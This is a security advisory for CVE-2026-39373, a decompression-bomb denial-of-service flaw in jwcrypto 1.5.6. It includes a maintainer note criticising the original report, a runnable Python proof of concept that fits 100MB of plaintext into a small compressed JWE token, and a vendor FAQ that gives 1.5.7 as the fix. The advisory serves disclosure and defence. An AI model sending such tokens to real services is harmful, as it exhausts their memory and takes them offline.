CVE-2026-39373

The fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion.

Although this is technically not unbounded I do recognize that it may be too much for devices and is something that could be surprising to developers, and we can do better than that.

NOTE: the original report was sloppy (probably AI slop) and claimed arbitrary memory consumption, but simple testing showed that while 100MB could be decompressed a 1GB output was denied because the token exceeded the 250K compressed serialization.

NOTE WELL: The proposed solution was also sloppy, proposing to first decompress the data completely in memory (therefore causing the memory exhaustion) and then checking how much memory was already used to deny the operation. I intentionally left the "details" section untouched to show how bad AI slop is and how uncritical the submitter was, even as it was obvious the "suggested fix" is actually no solution at all, as it was using the very call that he claimed was causing "arbitrary" memory exhaustion and wrapping it around an "if" ... the actual solution is in the resolving commit in version 1.5.7

Details

The vulnerable code in jwcrypto/jwe.py:

if len(data) > default_max_compressed_size:
    raise InvalidJWEData('Compressed data exceeds maximum allowed size')
self.plaintext = zlib.decompress(data, -zlib.MAX_WBITS)

The check validates data which is the compressed bytes, not the decompressed output. A 132KB token (under the 250KB limit) can decompress to approximately 100MB with no error raised.

PoC

Tested on jwcrypto 1.5.6 (patched version):

import zlib
from jwcrypto import jwe
from jwcrypto.jwk import JWK
import time

key = JWK.generate(kty='oct', size=128)
bomb_data = b"A" * 1024 * 1024 * 100  # 100MB uncompressed

token = jwe.JWE(
    plaintext=bomb_data,
    protected={"alg": "A128KW", "enc": "A128GCM", "zip": "DEF"}
)
token.add_recipient(key)
serialized = token.serialize(compact=True)
print(f"Token size: {len(serialized)/1024:.1f} KB")  # 132.8 KB, under 250KB limit

tok2 = jwe.JWE()
tok2.deserialize(serialized, key)
print(f"Decompressed: {len(tok2.plaintext)/1024/1024:.0f} MB")  # 100 MB

Output:

Token size: 132.8 KB
Decompressed: 100 MB

An unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch (v1.5.6) does not prevent this attack. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB.

CVE-2026-39373 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.7); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-39373? CVE-2026-39373 is a medium-severity security vulnerability in jwcrypto (pip), affecting versions <= 1.5.6. It is fixed in 1.5.7.
2. How severe is CVE-2026-39373? CVE-2026-39373 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of jwcrypto are affected by CVE-2026-39373? jwcrypto (pip) versions <= 1.5.6 is affected.
4. Is there a fix for CVE-2026-39373? Yes. CVE-2026-39373 is fixed in 1.5.7. Upgrade to this version or later.
5. Is CVE-2026-39373 exploitable, and should I be worried? Whether CVE-2026-39373 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-39373 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-39373? Upgrade jwcrypto to 1.5.7 or later.